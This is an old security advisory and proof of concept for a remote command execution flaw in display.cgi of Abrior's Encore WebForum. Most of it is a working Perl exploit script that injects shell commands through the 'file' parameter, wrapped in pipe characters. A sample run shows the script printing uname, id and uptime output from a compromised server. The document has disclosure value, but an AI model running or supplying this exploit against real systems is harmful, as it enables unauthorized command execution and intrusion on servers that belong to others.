Remote Exploit for Aborior's Encore Web Forum

Type securityvulns
Reporter Securityvulns
Modified 2004-04-05T00:00:00


================================================================== Product : Abrior's Encore WebForum Versions : Unchecked (maybe version I) Bug : Remote Command Execution via Display.cgi Impact : Attackers can execute remote command Risk : Medium/High Date : April 3, 2004 Bug found by : k159 from g-security ( Reported & exploit by: Schizoprenic from Xnuxer Research Laboratory Reference : Email :, ==================================================================


Bug exist in Abrior's Encore WebForum via display.cgi in forum root folder (forumcgi). Attacker can execute command via browser with doing request to display.cgi and launch command from "file" variable.

Proof Of Concept|uname -a|


This exploit presented by Schizoprenic from Xnuxer Research Lab. It just for education purpose only.

[xnuxer@Server xnuxer]$ perl -t -d /encore/forumcgi -c "uname -a;id;uptime;" Remote Exploit Aborior's Encore Web Forum by Schizoprenic Xnuxer Research Laboratory ( Target: Path Dir: /encore/forumcgi Command: uname -a;id;uptime; --------------------RESULT-------------------- Linux 2.4.20-20.9.2INLDSmpIPvsDs #1 SMP Thu Dec 4 19:28:44 EST 2003 i686 i686 i386 GNU/Linux uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv),10044(webdev) 01:41:08 up 17 days, 6:00, 0 users, load average: 0.00, 0.03, 0.00 ----------------------------------------------

Note: The real name of domain target in example protected for security reason.

!/usr/bin/perl -w

Remote Exploit Aborior's Encore Web Forum by Schizoprenic

Bug found by k-159 from

require LWP::UserAgent; use Getopt::Std;

getopts('t:d:c:'); our($opt_t, $opt_d, $opt_c);

my $target = $opt_t; my $dir = $opt_d; my $cmd = $opt_c;

print "Remote Exploit Aborior's Encore Web Forum by Schizoprenic\n"; print "Xnuxer Research Laboratory (\n"; print "Target: $target\n"; print "Path Dir: $dir\n"; print "Command: $cmd\n";

my $ua = LWP::UserAgent->new; $ua->agent("IE/6.0 Windows"); $ua->timeout(10); $ua->env_proxy;

$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";

my $response = $ua->get($req); print "--------------------RESULT--------------------\n";

if ($response->is_success) { print $response->content; } else { die $response->status_line; }

print "----------------------------------------------\n";

EOF by Xnuxer


Get your free email from

Powered by Outblaze